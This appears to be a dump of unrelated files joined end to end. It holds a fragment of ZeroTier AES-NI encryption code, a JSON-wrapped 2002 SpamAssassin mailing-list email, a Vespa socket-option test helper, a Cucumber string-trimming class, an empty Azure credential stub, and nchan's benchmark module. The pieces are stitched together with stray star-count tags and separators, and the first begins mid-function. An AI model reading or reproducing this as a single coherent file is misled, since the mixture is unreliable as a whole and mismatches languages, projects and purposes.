d0 = _mm_aesenc_si128(d0, k6);
d0 = _mm_aesenc_si128(d0, k7);
d0 = _mm_aesenc_si128(d0, k8);
d0 = _mm_aesenc_si128(d0, k9);
d0 = _mm_aesenc_si128(d0, k10);
d0 = _mm_aesenc_si128(d0, k11);
d0 = _mm_aesenc_si128(d0, k12);
d0 = _mm_aesenc_si128(d0, k13);
_mm_storeu_si128(reinterpret_cast<__m128i *>(out), _mm_xor_si128(_mm_aesenclast_si128(d0, k14), _mm_loadu_si128(reinterpret_cast<const __m128i *>(in))));
in += 16;
len -= 16;
out += 16;
}
// Any remaining input is placed in _out. This will be picked up and crypted
// on subsequent calls to crypt() or finish() as it'll mean _len will not be
// an even multiple of 16.
for (unsigned int i = 0; i < len; ++i)
out[i] = in[i];
_ctr[1] = Utils::hton(c1);
}
#ifdef __GNUC__
__attribute__((__target__("ssse3,sse4,sse4.1,sse4.2,aes,pclmul")))
#endif
void AES::p_init_aesni(const uint8_t *key) noexcept
{
__m128i t1, t2, k1, k2, k3, k4, k5, k6, k7, k8, k9, k10, k11, k12, k13;
p_k.ni.k[0] = t1 = _mm_loadu_si128((const __m128i *)key);
p_k.ni.k[1] = k1 = t2 = _mm_loadu_si128((const __m128i *)(key + 16));
p_k.ni.k[2] = k2 = t1 = p_init256_1_aesni(t1, _mm_aeskeygenassist_si128(t2, 0x01));
p_k.ni.k[3] = k3 = t2 = p_init256_2_aesni(t1, t2);
p_k.ni.k[4] = k4 = t1 = p_init256_1_aesni(t1, _mm_aeskeygenassist_si128(t2, 0x02));
p_k.ni.k[5] = k5 = t2 = p_init256_2_aesni(t1, t2);
p_k.ni.k[6] = k6 = t1 = p_init256_1_aesni(t1, _mm_aeskeygenassist_si128(t2, 0x04));
p_k.ni.k[7] = k7 = t2 = p_init256_2_aesni(t1, t2);
p_k.ni.k[8] = k8 = t1 = p_init256_1_aesni(t1, _mm_aeskeygenassist_si128(t2, 0x08));
p_k.ni.k[9] = k9 = t2 = p_init256_2_aesni(t1, t2);
p_k.ni.k[10] = k10 = t1 = p_init256_1_aesni(t1, _mm_aeskeygenassist_si128(t2, 0x10));
p_k.ni.k[11] = k11 = t2 = p_init256_2_aesni(t1, t2);
p_k.ni.k[12] = k12 = t1 = p_init256_1_aesni(t1, _mm_aeskeygenassist_si128(t2, 0x20));
p_k.ni.k[13] = k13 = t2 = p_init256_2_aesni(t1, t2);
p_k.ni.k[14] = p_init256_1_aesni(t1, _mm_aeskeygenassist_si128(t2, 0x40));
p_k.ni.k[15] = _mm_aesimc_si128(k13);
p_k.ni.k[16] = _mm_aesimc_si128(k12);
p_k.ni.k[17] = _mm_aesimc_si128(k11);
p_k.ni.k[18] = _mm_aesimc_si128(k10);
p_k.ni.k[19] = _mm_aesimc_si128(k9);
p_k.ni.k[20] = _mm_aesimc_si128(k8);
p_k.ni.k[21] = _mm_aesimc_si128(k7);
p_k.ni.k[22] = _mm_aesimc_si128(k6);
p_k.ni.k[23] = _mm_aesimc_si128(k5);
p_k.ni.k[24] = _mm_aesimc_si128(k4);
p_k.ni.k[25] = _mm_aesimc_si128(k3);
p_k.ni.k[26] = _mm_aesimc_si128(k2);
p_k.ni.k[27] = _mm_aesimc_si128(k1);
__m128i h = p_k.ni.k[0]; // _mm_xor_si128(_mm_setzero_si128(),_k.ni.k[0]);
h = _mm_aesenc_si128(h, k1);
h = _mm_aesenc_si128(h, k2);
h = _mm_aesenc_si128(h, k3);
h = _mm_aesenc_si128(h, k4);
h = _mm_aesenc_si128(h, k5);
h = _mm_aesenc_si128(h, k6);
h = _mm_aesenc_si128(h, k7);
h = _mm_aesenc_si128(h, k8);
h = _mm_aesenc_si128(h, k9);
h = _mm_aesenc_si128(h, k10);
h = _mm_aesenc_si128(h, k11);
h = _mm_aesenc_si128(h, k12);
h = _mm_aesenc_si128(h, k13);
h = _mm_aesenclast_si128(h, p_k.ni.k[14]);
__m128i hswap = _mm_shuffle_epi8(h, s_sseSwapBytes);
__m128i hh = p_gmacPCLMUL128(hswap, h);
__m128i hhh = p_gmacPCLMUL128(hswap, hh);
__m128i hhhh = p_gmacPCLMUL128(hswap, hhh);
p_k.ni.h[0] = hswap;
p_k.ni.h[1] = hh = _mm_shuffle_epi8(hh, s_sseSwapBytes);
p_k.ni.h[2] = hhh = _mm_shuffle_epi8(hhh, s_sseSwapBytes);
p_k.ni.h[3] = hhhh = _mm_shuffle_epi8(hhhh, s_sseSwapBytes);
p_k.ni.h2[0] = _mm_xor_si128(_mm_shuffle_epi32(hswap, 78), hswap);
p_k.ni.h2[1] = _mm_xor_si128(_mm_shuffle_epi32(hh, 78), hh);
p_k.ni.h2[2] = _mm_xor_si128(_mm_shuffle_epi32(hhh, 78), hhh);
p_k.ni.h2[3] = _mm_xor_si128(_mm_shuffle_epi32(hhhh, 78), hhhh);
}
#ifdef __GNUC__
__attribute__((__target__("ssse3,sse4,sse4.1,sse4.2,aes,pclmul")))
#endif
void AES::p_encrypt_aesni(const void *const in, void *const out) const noexcept
{
__m128i tmp = _mm_loadu_si128((const __m128i *)in);
tmp = _mm_xor_si128(tmp, p_k.ni.k[0]);
tmp = _mm_aesenc_si128(tmp, p_k.ni.k[1]);
tmp = _mm_aesenc_si128(tmp, p_k.ni.k[2]);
tmp = _mm_aesenc_si128(tmp, p_k.ni.k[3]);
tmp = _mm_aesenc_si128(tmp, p_k.ni.k[4]);
tmp = _mm_aesenc_si128(tmp, p_k.ni.k[5]);
tmp = _mm_aesenc_si128(tmp, p_k.ni.k[6]);
tmp = _mm_aesenc_si128(tmp, p_k.ni.k[7]);
tmp = _mm_aesenc_si128(tmp, p_k.ni.k[8]);
tmp = _mm_aesenc_si128(tmp, p_k.ni.k[9]);
tmp = _mm_aesenc_si128(tmp, p_k.ni.k[10]);
tmp = _mm_aesenc_si128(tmp, p_k.ni.k[11]);
tmp = _mm_aesenc_si128(tmp, p_k.ni.k[12]);
tmp = _mm_aesenc_si128(tmp, p_k.ni.k[13]);
_mm_storeu_si128((__m128i *)out, _mm_aesenclast_si128(tmp, p_k.ni.k[14]));
}
#ifdef __GNUC__
__attribute__((__target__("ssse3,sse4,sse4.1,sse4.2,aes,pclmul")))
#endif
void AES::p_decrypt_aesni(const void *in, void *out) const noexcept
{
__m128i tmp = _mm_loadu_si128((const __m128i *)in);
tmp = _mm_xor_si128(tmp, p_k.ni.k[14]);
tmp = _mm_aesdec_si128(tmp, p_k.ni.k[15]);
tmp = _mm_aesdec_si128(tmp, p_k.ni.k[16]);
tmp = _mm_aesdec_si128(tmp, p_k.ni.k[17]);
tmp = _mm_aesdec_si128(tmp, p_k.ni.k[18]);
tmp = _mm_aesdec_si128(tmp, p_k.ni.k[19]);
tmp = _mm_aesdec_si128(tmp, p_k.ni.k[20]);
tmp = _mm_aesdec_si128(tmp, p_k.ni.k[21]);
tmp = _mm_aesdec_si128(tmp, p_k.ni.k[22]);
tmp = _mm_aesdec_si128(tmp, p_k.ni.k[23]);
tmp = _mm_aesdec_si128(tmp, p_k.ni.k[24]);
tmp = _mm_aesdec_si128(tmp, p_k.ni.k[25]);
tmp = _mm_aesdec_si128(tmp, p_k.ni.k[26]);
tmp = _mm_aesdec_si128(tmp, p_k.ni.k[27]);
_mm_storeu_si128((__m128i *)out, _mm_aesdeclast_si128(tmp, p_k.ni.k[0]));
}
} // namespace ZeroTier
#endif // ZT_AES_AESNI
| 14,443 |
3,428 | <gh_stars>1000+
{"id":"01328","group":"easy-ham-1","checksum":{"type":"MD5","value":"d0911b225327299d50bc7c7f2284afdf"},"text":"From <EMAIL> Mon Aug 26 18:01:29 2002\nReturn-Path: <<EMAIL>>\nDelivered-To: [email protected]\nReceived: from localhost (localhost [127.0.0.1])\n\tby phobos.labs.netnoteinc.com (Postfix) with ESMTP id 037BD44157\n\tfor <jm@localhost>; Mon, 26 Aug 2002 13:01:23 -0400 (EDT)\nReceived: from phobos [127.0.0.1]\n\tby localhost with IMAP (fetchmail-5.9.0)\n\tfor jm@localhost (single-drop); Mon, 26 Aug 2002 18:01:23 +0100 (IST)\nReceived: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net\n [192.168.3.11]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id\n g7QGroZ01354 for <<EMAIL>>; Mon, 26 Aug 2002 17:53:50 +0100\nReceived: from usw-sf-list1-b.sourceforge.net ([10.3.1.13]\n helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with\n esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17jN6t-00043a-00; Mon,\n 26 Aug 2002 09:53:03 -0700\nReceived: from moon.campus.luth.se ([172.16.17.3258]) by\n usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168)\n (Exim 3.31-VA-mm2 #1 (Debian)) id 17jN5x-0008MY-00 for\n <<EMAIL>>; Mon, 26 Aug 2002 09:52:05 -0700\nReceived: from moon.campus.luth.se (<EMAIL>uth.se\n [130.240.202.158]) by moon.campus.luth.se (8.12.3/8.12.3) with ESMTP id\n g7QGppMg098356; Mon, 26 Aug 2002 18:51:51 +0200 (CEST) (envelope-from\n t<EMAIL>)\nFrom: \"<NAME>\" <<EMAIL>>\nX-X-Sender: <EMAIL>uth.se\nTo: CertaintyTech <<EMAIL>>\nCc: satalk <<EMAIL>>\nSubject: Re: [SAtalk] From: and To: are my address\nIn-Reply-To: <003501c24d1c$25a83980$6400a8c0@pnt004>\nMessage-Id: <<EMAIL>uth.se>\nMIME-Version: 1.0\nContent-Type: TEXT/PLAIN; charset=US-ASCII\nSender: <EMAIL>\nErrors-To: <EMAIL>\nX-Beenthere: <EMAIL>\nX-Mailman-Version: 2.0.9-sf.net\nPrecedence: bulk\nList-Help: <mailto:<EMAIL>?subject=help>\nList-Post: <mailto:<EMAIL>>\nList-Subscribe: <https://example.sourceforge.net/lists/listinfo/spamassassin-talk>,\n <mailto:<EMAIL>?subject=subscribe>\nList-Id: Talk about SpamAssassin <spamassassin-talk.example.sourceforge.net>\nList-Unsubscribe: <https://example.sourceforge.net/lists/listinfo/spamassassin-talk>,\n <mailto:<EMAIL>?subject=unsubscribe>\nList-Archive: <http://www.geocrawler.com/redir-sf.php3?list=spamassassin-talk>\nX-Original-Date: Mon, 26 Aug 2002 18:51:51 +0200 (CEST)\nDate: Mon, 26 Aug 2002 18:51:51 +0200 (CEST)\n\nOn Mon, 26 Aug 2002 the voices made CertaintyTech write:\n\n> Recently I have been receiving Spam where both the From: and To: address are\n> set to my address therefore getting thru due to AWL. Any suggestions on\n> this one? I could turn off AWL but it does have advantages. BTW, I use a\n> site-wide AWL.\n\n Use cron to remove your address from the AWL daily...?!\n\n\t/Tony\n-- \n# Per scientiam ad libertatem! // Through knowledge towards freedom! #\n# Genom kunskap mot frihet! =*= (c) 1999-2002 <EMAIL> =*= #\n\n perl -e'print$_{$_} for sort%_=`lynx -dump svanstrom.com/t`'\n\n\n\n-------------------------------------------------------\nThis sf.net email is sponsored by: OSDN - Tired of that same old\ncell phone? Get a new here for FREE!\nhttps://www.inphonic.com/r.asp?r=sourceforge1&refcode1=vs3390\n_______________________________________________\nSpamassassin-talk mailing list\n<EMAIL>\nhttps://lists.sourceforge.net/lists/listinfo/spamassassin-talk\n\n"} | 1,450 |
4,054 | // Copyright Yahoo. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.
#pragma once
#include <vespa/vespalib/testkit/test_kit.h>
#include <fcntl.h>
#include <unistd.h>
#include <netinet/tcp.h>
#include <sys/socket.h>
#include <netinet/in.h>
namespace vespalib::test {
namespace {
void verify_bool_opt(int fd, int level, int name, bool expect) {
int data = 0;
socklen_t size = sizeof(data);
EXPECT_EQUAL(getsockopt(fd, level, name, &data, &size), 0);
EXPECT_EQUAL(size, sizeof(data));
EXPECT_EQUAL(data != 0, expect);
}
} // namespace vespalib::test::<unnamed>
/**
* Verifier of socket options for testing purposes
**/
struct SocketOptionsVerifier {
int fd;
SocketOptionsVerifier(int fd_in) : fd(fd_in) {}
void verify_blocking(bool value) {
int flags = fcntl(fd, F_GETFL, NULL);
EXPECT_NOT_EQUAL(flags, -1);
EXPECT_EQUAL(((flags & O_NONBLOCK) == 0), value);
}
void verify_nodelay(bool value) {
TEST_DO(verify_bool_opt(fd, IPPROTO_TCP, TCP_NODELAY, value));
}
void verify_reuse_addr(bool value) {
TEST_DO(verify_bool_opt(fd, SOL_SOCKET, SO_REUSEADDR, value));
}
void verify_ipv6_only(bool value) {
TEST_DO(verify_bool_opt(fd, IPPROTO_IPV6, IPV6_V6ONLY, value));
}
void verify_keepalive(bool value) {
TEST_DO(verify_bool_opt(fd, SOL_SOCKET, SO_KEEPALIVE, value));
}
void verify_linger(bool enable, int value)
{
struct linger data;
socklen_t size = sizeof(data);
memset(&data, 0, sizeof(data));
EXPECT_EQUAL(getsockopt(fd, SOL_SOCKET, SO_LINGER, &data, &size), 0);
EXPECT_EQUAL(size, sizeof(data));
EXPECT_EQUAL(enable, data.l_onoff);
if (enable) {
EXPECT_EQUAL(value, data.l_linger);
}
}
};
}
| 846 |
3,974 | package io.cucumber.gherkin;
class StringUtils {
static String ltrim(String s) {
// https://stackoverflow.com/questions/1060570/why-is-non-breaking-space-not-a-whitespace-character-in-java
return s.replaceAll("^[ \\t\\n\\x0B\\f\\r\\x85\\xA0]+", "");
}
static String ltrimKeepNewLines(String s) {
// https://stackoverflow.com/questions/1060570/why-is-non-breaking-space-not-a-whitespace-character-in-java
return s.replaceAll("^[ \\t\\x0B\\f\\r\\x85\\xA0]+", "");
}
static String rtrimKeepNewLines(String s) {
// https://stackoverflow.com/questions/1060570/why-is-non-breaking-space-not-a-whitespace-character-in-java
return s.replaceAll("[ \\t\\x0B\\f\\r\\x85\\xA0]+$", "");
}
static String rtrim(String s) {
return s.replaceAll("[ \\t\\n\\x0B\\f\\r\\x85\\xA0]+$", "");
}
static String trim(String s) {
return ltrim(rtrim(s));
}
static int symbolCount(String string) {
// http://rosettacode.org/wiki/String_length#Java
return string.codePointCount(0, string.length());
}
}
| 498 |
4,036 | <gh_stars>1000+
// Copyright (c) Microsoft Corporation. All rights reserved.
// Licensed under the MIT License.
package com.azure.identity;
import com.azure.core.credential.TokenCredential;
/**
* An AAD credential that acquires a token with a username and a password. Users with 2FA/MFA (Multi-factored auth)
* turned on will not be able to use this credential. Please use {@link DeviceCodeCredential} or {@link
* InteractiveBrowserCredential} instead, or create a service principal if you want to authenticate silently.
*/
public class UsernamePasswordCredential implements TokenCredential {
}
| 163 |
2,069 | #include "nchan_benchmark.h"
#include <subscribers/benchmark.h>
#include <subscribers/websocket.h>
#include <util/shmem.h>
#include <store/memory/store.h>
#include <store/memory/ipc-handlers.h>
#include <assert.h>
#include <sys/time.h> /* for struct timeval */
#include <inttypes.h>
//#define DEBUG_LEVEL NGX_LOG_WARN
#define DEBUG_LEVEL NGX_LOG_DEBUG
#define DBG(fmt, args...) ngx_log_error(DEBUG_LEVEL, ngx_cycle->log, 0, "BENCHMARK: " fmt, ##args)
#define ERR(fmt, args...) ngx_log_error(NGX_LOG_ERR, ngx_cycle->log, 0, "BENCHMARK: " fmt, ##args)
nchan_benchmark_t bench;
ngx_atomic_int_t *worker_counter = NULL;
ngx_int_t bench_worker_number = 0;
int nchan_benchmark_active(void) {
return bench.state && *bench.state > NCHAN_BENCHMARK_INACTIVE;
}
static ngx_int_t benchmark_client_respond(char *cstr) {
if(!bench.client) {
return NGX_ERROR;
}
nchan_msg_t msg;
nchan_msg_id_t msgid = NCHAN_NEWEST_MSGID;
ngx_memzero(&msg, sizeof(msg));
msg.storage = NCHAN_MSG_STACK;
msg.id = msgid;
ngx_init_set_membuf(&msg.buf, (u_char *)cstr, (u_char *)&cstr[strlen(cstr)]);
msg.buf.last_buf = 1;
msg.buf.last_in_chain = 1;
bench.client->fn->respond_message(bench.client, &msg);
return NGX_OK;
}
ngx_int_t nchan_benchmark_init_module(ngx_cycle_t *cycle) {
bench.state = shm_calloc(nchan_store_memory_shmem, sizeof(ngx_atomic_int_t), "benchmark state");
worker_counter = shm_calloc(nchan_store_memory_shmem, sizeof(ngx_atomic_int_t), "benchmark worker counter");
bench.config = shm_calloc(nchan_store_memory_shmem, sizeof(*bench.config), "benchmark config (shared)");
return NGX_OK;
}
ngx_int_t nchan_benchmark_init_worker(ngx_cycle_t *cycle) {
DBG("init worker");
bench_worker_number = ngx_atomic_fetch_add((ngx_atomic_uint_t *)worker_counter, 1);
return NGX_OK;
}
ngx_int_t nchan_benchmark_exit_master(ngx_cycle_t *cycle) {
shm_free(nchan_store_memory_shmem, bench.state);
shm_free(nchan_store_memory_shmem, worker_counter);
shm_free(nchan_store_memory_shmem, bench.config);
bench.state = NULL;
bench.config = NULL;
worker_counter = NULL;
return NGX_OK;
}
static ngx_int_t benchmark_publish_callback(ngx_int_t status, void *data, void *pd) {
struct timeval tv;
uint64_t t1;
uintptr_t t0 = (uintptr_t )pd;
if(nchan_benchmark_active()) {
ngx_gettimeofday(&tv);
t1 = (tv.tv_sec - bench.time.init) * (uint64_t)1000000 + tv.tv_usec;
switch(status) {
case NCHAN_MESSAGE_QUEUED:
case NCHAN_MESSAGE_RECEIVED:
bench.data.msg_send_confirmed++;
break;
default:
bench.data.msg_send_failed++;
}
hdr_record_value(bench.data.msg_publishing_latency, t1-t0);
}
return NGX_OK;
}
static void benchmark_publish_message(nchan_benchmark_channel_t *chan) {
struct timeval tv;
uint64_t now;
u_char *last;
uint64_t msgnum;
nchan_msg_t msg;
ngx_str_t channel_id;
nchan_benchmark_channel_id(chan->n, &channel_id);
msgnum = ngx_atomic_fetch_add(&chan->msg_count, 1);
ngx_gettimeofday(&tv);
now = (tv.tv_sec - bench.time.init) * (uint64_t)1000000 + tv.tv_usec;
last = ngx_snprintf(bench.msgbuf, 64, "%D %D zzzzzzzz", now, msgnum);
//DBG("publish to channel %V msg #%D (t: %D)", &channel_id, msgnum, now);
ngx_memzero(&msg, sizeof(msg));
msg.buf.temporary = 1;
msg.buf.memory = 1;
msg.buf.last_buf = 1;
msg.buf.pos = msg.buf.start = bench.msgbuf;
msg.buf.last = msg.buf.end = &last[bench.config->msg_padding];
msg.id.time = 0;
msg.id.tag.fixed[0] = 0;
msg.id.tagactive = 0;
msg.id.tagcount = 1;
msg.storage = NCHAN_MSG_STACK;
msg.content_type = (ngx_str_t *)&NCHAN_CONTENT_TYPE_TEXT_PLAIN;
bench.loc_conf->storage_engine->publish(&channel_id, &msg, bench.loc_conf, (callback_pt )benchmark_publish_callback, (void *)(uintptr_t)now);
bench.data.msg_sent++;
}
static ngx_int_t benchmark_publish_message_interval_timer(void *pd) {
nchan_benchmark_channel_t *chan = pd;
if(!nchan_benchmark_active()) {
DBG("benchmark not running. stop trying to publish");
bench.timer.publishers[chan->n] = NULL;
return NGX_ABORT; //we're done here
}
benchmark_publish_message(chan);
return bench.base_msg_period;
}
static void benchmark_timer_running_stop(void *pd);
static void benchmark_timer_finishing_check(void *pd);
ngx_int_t nchan_benchmark_initialize(void) {
int c, i;
subscriber_t **sub;
ngx_str_t channel_id;
ngx_int_t subs_per_channel;
assert(bench.subs.array == NULL);
assert(bench.subs.n == 0);
if(bench.config->subscriber_distribution == NCHAN_BENCHMARK_SUBSCRIBER_DISTRIBUTION_RANDOM) {
ngx_int_t divided_subs = bench.config->subscribers_per_channel / nchan_worker_processes;
ngx_int_t leftover_subs = bench.config->subscribers_per_channel % nchan_worker_processes;
for(c=0; c<bench.config->channels; c++) {
bench.subs.n += divided_subs;
if (c%nchan_worker_processes == bench_worker_number) {
bench.subs.n += leftover_subs;
}
}
DBG("bench.subs.n = %d", bench.subs.n);
bench.subs.array = ngx_alloc(sizeof(subscriber_t *) * bench.subs.n, ngx_cycle->log);
sub = &bench.subs.array[0];
for(c=0; c<bench.config->channels; c++) {
subs_per_channel = divided_subs + (((c % nchan_worker_processes) == bench_worker_number) ? leftover_subs : 0);
//DBG("worker number %d channel %d subs %d", bench_worker_number, c, subs_per_channel);
nchan_benchmark_channel_id(c, &channel_id);
for(i=0; i<subs_per_channel; i++) {
*sub = benchmark_subscriber_create(&bench);
if((*sub)->fn->subscribe(*sub, &channel_id) != NGX_OK) {
return NGX_ERROR;
}
sub++;
}
}
}
else {
subs_per_channel = bench.config->subscribers_per_channel;
for(c=0; c<bench.config->channels; c++) {
nchan_benchmark_channel_id(c, &channel_id);
if(memstore_channel_owner(&channel_id) == ngx_process_slot) {
bench.subs.n += subs_per_channel;
}
}
bench.subs.array = ngx_alloc(sizeof(subscriber_t *) * bench.subs.n, ngx_cycle->log);
sub = &bench.subs.array[0];
for(c=0; c<bench.config->channels; c++) {
nchan_benchmark_channel_id(c, &channel_id);
if(memstore_channel_owner(&channel_id) == ngx_process_slot) {
for(i=0; i<subs_per_channel; i++) {
*sub = benchmark_subscriber_create(&bench);
if((*sub)->fn->subscribe(*sub, &channel_id) != NGX_OK) {
return NGX_ERROR;
}
sub++;
}
}
}
}
return NGX_OK;
}
ngx_int_t nchan_benchmark_run(void) {
uint64_t required_subs = bench.config->subscribers_per_channel * bench.config->channels;
assert(*bench.shared.subscribers_enqueued == required_subs);
int i;
size_t msgbuf_maxlen = bench.config->msg_padding + 64;
unsigned pubstart;
int64_t total_offset = 0;
bench.msgbuf = ngx_alloc(msgbuf_maxlen, ngx_cycle->log);
ngx_memset(bench.msgbuf, 'z', msgbuf_maxlen);
bench.base_msg_period = 1000.0/((double)bench.config->msgs_per_minute / 60.0);
assert(bench.timer.publishers == NULL);
bench.timer.publishers = ngx_alloc(sizeof(void *) * bench.config->channels, ngx_cycle->log);
if(bench.config->publisher_distribution == NCHAN_BENCHMARK_PUBLISHER_DISTRIBUTION_RANDOM) {
bench.base_msg_period *= nchan_worker_processes;
for(i=0; i < bench.config->channels; i++) {
pubstart = (rand() / (RAND_MAX / bench.base_msg_period));
total_offset += pubstart;
bench.timer.publishers[i] = nchan_add_interval_timer(benchmark_publish_message_interval_timer, &bench.shared.channels[i], pubstart);
}
}
else if(bench.config->publisher_distribution == NCHAN_BENCHMARK_PUBLISHER_DISTRIBUTION_OPTIMAL) {
ngx_str_t channel_id;
for(i=0; i < bench.config->channels; i++) {
nchan_benchmark_channel_id(i, &channel_id);
if(memstore_channel_owner(&channel_id) == ngx_process_slot) {
pubstart = (rand() / (RAND_MAX / bench.base_msg_period));
total_offset += pubstart;
bench.timer.publishers[i] = nchan_add_interval_timer(benchmark_publish_message_interval_timer, &bench.shared.channels[i], pubstart);
}
else {
bench.timer.publishers[i] = NULL;
}
}
}
return NGX_OK;
}
ngx_int_t nchan_benchmark_dequeue_subscribers(void) {
unsigned i;
for(i=0; i < bench.subs.n; i++) {
bench.subs.array[i]->fn->dequeue(bench.subs.array[i]);
}
ngx_free(bench.subs.array);
bench.subs.array = NULL;
bench.subs.n = 0;
return NGX_OK;
}
static void benchmark_timer_running_stop(void *pd) {
bench.timer.running = NULL;
bench.time.end = ngx_time();
memstore_ipc_broadcast_benchmark_stop();
nchan_benchmark_stop();
bench.timer.finishing = nchan_add_oneshot_timer(benchmark_timer_finishing_check, NULL, 3000);
}
static void benchmark_timer_finishing_check(void *pd) {
bench.timer.finishing = NULL;
nchan_benchmark_dequeue_subscribers();
bench.waiting_for_results = nchan_worker_processes - 1;
if(bench.waiting_for_results == 0) {
nchan_benchmark_finish_response();
nchan_benchmark_finish();
}
else {
memstore_ipc_broadcast_benchmark_finish();
}
}
ngx_int_t nchan_benchmark_receive_finished_data(nchan_benchmark_data_t *data) {
DBG("received benchmark data");
assert(bench.waiting_for_results > 0);
bench.waiting_for_results --;
bench.data.msg_sent += data->msg_sent;
bench.data.msg_send_confirmed += data->msg_send_confirmed;
bench.data.msg_send_failed += data->msg_send_failed;
bench.data.msg_received += data->msg_received;
hdr_add(bench.data.msg_delivery_latency, data->msg_delivery_latency);
hdr_close_nchan_shm(data->msg_delivery_latency);
hdr_add(bench.data.msg_publishing_latency, data->msg_publishing_latency);
hdr_close_nchan_shm(data->msg_publishing_latency);
hdr_add(bench.data.subscriber_readiness_latency, data->subscriber_readiness_latency);
hdr_close_nchan_shm(data->subscriber_readiness_latency);
if(bench.waiting_for_results == 0) {
nchan_benchmark_finish_response();
nchan_benchmark_finish();
}
return NGX_OK;
}
ngx_int_t nchan_benchmark_finish_response(void) {
u_char *str;
ngx_http_request_t *r = bench.client->request;
ngx_str_t *accept_header = nchan_get_accept_header_value(r);
const char *fmt;
char stats[2048];
fmt =
" \"start_time\": %d,\n"
" \"run_time_sec\": %d,\n"
" \"channels\": %d,\n"
" \"subscribers\": %d,\n"
" \"message_length\": %d,\n"
" \"messages\": {\n"
" \"sent\": %d,\n"
" \"send_confirmed\": %d,\n"
" \"send_unconfirmed\": %d,\n"
" \"send_failed\": %d,\n"
" \"received\": %d,\n"
" \"unreceived\": %d\n"
" },\n"
" \"message_publishing_latency\": {\n"
" \"min\": \"%.3fms\",\n"
" \"avg\": \"%.3fms\",\n"
" \"99th_percentile\": \"%.3fms\",\n"
" \"max\": \"%.3fms\",\n"
" \"stddev\": \"%.3fms\",\n"
" \"samples\": %D\n"
" },\n"
" \"message_delivery_latency\": {\n"
" \"min\": \"%.3fms\",\n"
" \"avg\": \"%.3fms\",\n"
" \"99th_percentile\": \"%.3fms\",\n"
" \"max\": \"%.3fms\",\n"
" \"stddev\": \"%.3fms\",\n"
" \"samples\": %D\n"
" }%Z";
ngx_snprintf((u_char *)stats, 2048, fmt,
bench.time.start,
bench.time.end - bench.time.start,
bench.config->channels,
*bench.shared.subscribers_enqueued,
bench.config->msg_padding + 5,
bench.data.msg_sent,
bench.data.msg_send_confirmed,
bench.data.msg_sent - bench.data.msg_send_confirmed,
bench.data.msg_send_failed,
bench.data.msg_received,
bench.data.msg_sent * bench.config->subscribers_per_channel - bench.data.msg_received,
(double )hdr_min(bench.data.msg_publishing_latency)/1000.0,
(double )hdr_mean(bench.data.msg_publishing_latency)/1000.0,
(double )hdr_value_at_percentile(bench.data.msg_publishing_latency, 99.0)/1000.0,
(double )hdr_max(bench.data.msg_publishing_latency)/1000.0,
(double )hdr_stddev(bench.data.msg_publishing_latency)/1000.0,
bench.data.msg_publishing_latency->total_count,
(double )hdr_min(bench.data.msg_delivery_latency)/1000.0,
(double )hdr_mean(bench.data.msg_delivery_latency)/1000.0,
(double )hdr_value_at_percentile(bench.data.msg_delivery_latency, 99.0)/1000.0,
(double )hdr_max(bench.data.msg_delivery_latency)/1000.0,
(double )hdr_stddev(bench.data.msg_delivery_latency)/1000.0,
bench.data.msg_delivery_latency->total_count
);
if(accept_header && ngx_strnstr(accept_header->data, "text/x-json-hdrhistogram", accept_header->len)) {
ngx_str_t *serialized_publishing_histogram, *serialized_delivery_histogram;
size_t sz;
fmt =
"RESULTS\n"
"{\n"
"%s,\n"
" \"message_publishing_histogram\":\n"
" \"%V\",\n"
" \"message_delivery_histogram\":\n"
" \"%V\"\n"
"}\n"
"%Z";
sz = strlen(stats) + strlen(fmt);
serialized_publishing_histogram = nchan_hdrhistogram_serialize(bench.data.msg_publishing_latency, r->pool);
serialized_delivery_histogram = nchan_hdrhistogram_serialize(bench.data.msg_delivery_latency, r->pool);
sz += serialized_publishing_histogram->len;
sz += serialized_delivery_histogram->len;
str = ngx_palloc(r->pool, sz);
if(str == NULL) {
benchmark_client_respond("ERROR: unable to create results response");
return NGX_ERROR;
}
ngx_snprintf(str, sz, fmt,
stats,
serialized_publishing_histogram,
serialized_delivery_histogram
);
}
else {
fmt =
"RESULTS\n"
"{\n"
"%s\n"
"}\n"
"%Z";
str = ngx_palloc(r->pool, strlen(stats) + strlen(fmt));
ngx_sprintf(str, fmt, stats);
}
benchmark_client_respond((char *)str);
return NGX_OK;
}
ngx_int_t nchan_benchmark_abort(void) {
int active = nchan_benchmark_active();
nchan_benchmark_dequeue_subscribers();
nchan_benchmark_stop();
nchan_benchmark_cleanup();
return active ? NGX_OK : NGX_DECLINED;
}
ngx_int_t nchan_benchmark_stop(void) {
int i;
DBG("stop benchmark");
if(bench.timer.publishers) {
for(i=0; i< bench.config->channels; i++) {
if(bench.timer.publishers[i]) {
nchan_abort_interval_timer(bench.timer.publishers[i]);
}
}
ngx_free(bench.timer.publishers);
bench.timer.publishers = NULL;
}
return NGX_OK;
}
ngx_int_t nchan_benchmark_finish(void) {
//free all the things
shm_free(nchan_store_memory_shmem, (void *)bench.shared.subscribers_enqueued);
shm_free(nchan_store_memory_shmem, (void *)bench.shared.subscribers_dequeued);
shm_free(nchan_store_memory_shmem, bench.shared.channels);
hdr_close_nchan_shm(bench.data.msg_publishing_latency);
hdr_close_nchan_shm(bench.data.msg_delivery_latency);
hdr_close_nchan_shm(bench.data.subscriber_readiness_latency);
bench.client->fn->respond_status(bench.client, NGX_HTTP_GONE, NULL, NULL);
nchan_benchmark_cleanup();
DBG("benchmark finished");
return NGX_OK;
}
ngx_int_t nchan_benchmark_cleanup(void) {
DBG("benchmark cleanup");
bench.client = NULL;
assert(bench.timer.publishers == NULL);
assert(bench.subs.array == NULL);
assert(bench.subs.n == 0);
bench.id = 0;
if(bench.msgbuf) {
ngx_free(bench.msgbuf);
bench.msgbuf = NULL;
}
ngx_memzero(&bench.time, sizeof(bench.time));
*bench.state = NCHAN_BENCHMARK_INACTIVE;
bench.waiting_for_results = 0;
if(bench.timer.ready) {
nchan_abort_interval_timer(bench.timer.ready);
bench.timer.ready = NULL;
}
if(bench.timer.running) {
nchan_abort_oneshot_timer(bench.timer.running);
bench.timer.running = NULL;
}
if(bench.timer.finishing) {
nchan_abort_oneshot_timer(bench.timer.finishing);
bench.timer.finishing = NULL;
}
return NGX_OK;
}
